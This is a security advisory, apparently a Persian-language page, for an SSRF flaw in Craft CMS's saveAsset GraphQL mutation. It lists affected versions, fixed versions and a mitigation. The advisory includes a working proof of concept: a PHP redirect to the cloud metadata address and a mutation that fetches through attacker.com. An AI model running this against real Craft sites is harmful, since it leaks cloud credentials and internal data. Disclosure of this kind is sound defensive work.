نسخههای متأثر
Composercraftcms/cms
- نسخههای متأثر
- >= 4.0.0-RC1, <= 4.16.17
- نسخهٔ اصلاحشده
- 4.16.18
Composercraftcms/cms
- نسخههای متأثر
- >= 5.0.0-RC1, <= 5.8.21
- نسخهٔ اصلاحشده
- 5.8.22
بهرهبرداری
شرح آسیبپذیری
Summary
The saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.
Proof of Concept
Host a redirect script on your server (e.g.
redirect.php):
<?php header("Location: http://169.254.169.254/latest/meta-data/"); ?>
Send the following GraphQL mutation:
mutation {
save_images_Asset(_file: {
url: "https://attacker.com/redirect.php"
filename: "metadata.txt"
}) {
id
}
}
The application validates
attacker.com(passes)Guzzle follows the redirect to
169.254.169.254Cloud metadata is saved as an asset
Mitigation
Disable redirects.
پیوندها
- https://github.com/advisories/GHSA-8jr8-7hr4-vhfx
- https://github.com/craftcms/cms
- https://github.com/craftcms/cms/commit/0974055634af68998f67850ab2045d8aaa19fa98
- https://github.com/craftcms/cms/releases/tag/4.16.18
- https://github.com/craftcms/cms/releases/tag/5.8.22
- https://github.com/craftcms/cms/security/advisories/GHSA-8jr8-7hr4-vhfx
- https://nvd.nist.gov/vuln/detail/CVE-2026-25493
گزارشدهندگان
- mHe4am

